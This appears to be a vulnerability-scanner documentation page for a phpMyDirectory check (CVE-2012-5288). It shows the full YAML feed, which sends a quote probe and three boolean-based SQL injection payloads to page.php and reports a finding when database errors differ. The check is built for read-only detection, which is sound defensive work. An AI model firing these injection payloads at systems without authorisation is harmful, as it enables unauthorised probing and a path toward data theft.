phpMyDirectory — 1 vulnerability check

noctis ships 1 vulnerability check for phpMyDirectory, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

phpMyDirectory page.php id SQL Injection

CVECVE-2012-5288
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/phpmydirectory/CVE-2012-5288.yaml

phpMyDirectory 1.3.3 uses the `id` parameter of page.php in an SQL query without sanitising it, allowing unauthenticated SQL injection.

This check first sends `id=1'` and confirms the page prints the MySQL syntax error while the plain `id=1` does not. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise a database error, the right sum must not. Nothing is written and no data is read from the database.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{cdir}}/page.php?id=1
  3. HTTP(S) request GET {{cdir}}/page.php?id=1%27
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201…
  6. HTTP(S) request GET {{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%…
  7. HTTP(S) request GET {{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201…
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/page.php: id=1 and 1=IF(…+…=S,1,(SELECT 1 UNION SELECT 2)) raised a database error for S=… and S=… but not for …
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: id=1' on …/page.php made the page print the MySQL syntax error, while the plain control id=1 did not (HTTP … / …)

References:

Feed source — tests/vulnerabilities/phpmydirectory/CVE-2012-5288.yaml
# phpMyDirectory 1.3.3 — page.php `id` SQL injection (CVE-2012-5288)
#
# page.php puts the `id` GET parameter into the page lookup query without
# sanitising it (EDB-18338: page.php?id=[SQLi]); the application prints the
# MySQL error when the query breaks. The upstream fix is 1.4.1.
#
# Source NASL (2012/gb_phpmydirectory_id_param_sql_inj_vuln.nasl) requires
# index.php to be a 200 page containing ">phpMyDirectory.com<", then requests
# page.php?id=' and greps "You have an error in your SQL syntax;". This feed
# does better on two points: it does not depend on the index banner (a
# customised footer is a false negative there) and every positive is
# differential, so a page that always prints the error stays clean:
#   1. QoD 97 — boolean proof computed by the database: `id=1 and
#      1=IF(A+B=S,1,(SELECT 1 UNION SELECT 2))` sent three times (S wrong,
#      right, wrong; random A/B). A wrong sum picks the two-row subquery and
#      the query fails ("Subquery returns more than 1 row"); the right sum is
#      valid SQL. Quote-free, so magic_quotes cannot hide it.
#   2. QoD 75 — the NASL's quote check, plus a control: id=1'
#      must print the SQL syntax error while id=1 (valid) must not.
#
# Read-only: no row is written and no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2012/gb_phpmydirectory_id_param_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.802977, GPL-2.0-only)
uid: f8ebde53-9ccb-4c0a-82fd-213d4bc5eeff
name: "phpMyDirectory page.php id SQL Injection (CVE-2012-5288)"
description: |
  phpMyDirectory 1.3.3 uses the `id` parameter of page.php in an SQL query
  without sanitising it, allowing unauthenticated SQL injection.

  This check first sends `id=1'` and confirms the page prints the MySQL syntax
  error while the plain `id=1` does not. It then proves the
  injection with three boolean requests whose outcome depends on the database
  computing the sum of two random numbers: a wrong sum must raise a database
  error, the right sum must not. Nothing is written and no data is read from
  the database.
cves: [CVE-2012-5288]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [phpmydirectory, sqli, boolean-based, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5288"
  - "https://www.exploit-db.com/exploits/18338"
  - "https://www.securityfocus.com/bid/51342"

steps:
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9) }
    store_as: sc

  # Pre-initialise every stored result a script reads (undefined var aborts the test).
  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/phpMyDirectory", "/phpmydirectory", "/pmd"]
      var: cdir

  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/page.php?id=1"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/page.php?id=1%27"
    condition: "ctl_resp.status == 200"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  - id: check-qm
    action: script
    code: |
      let re = "You have an error in your SQL syntax|Subquery returns more than 1 row";
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = ctl_resp.status == 200 && !ereg(re, cbody) && ereg(re, body);
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{cdir}}/page.php?id=1%20and%201%3DIF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,(SELECT%201%20UNION%20SELECT%202))"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let re = "You have an error in your SQL syntax|Subquery returns more than 1 row";
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status == 200 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{cdir}}/page.php: id=1 and 1=IF({{sc.a}}+{{sc.b}}=S,1,(SELECT 1 UNION SELECT 2)) raised a database error for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct sum S={{sc.sum}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: id=1' on {{cdir}}/page.php made the page print the MySQL syntax error, while the plain control id=1 did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

View these feeds on GitHub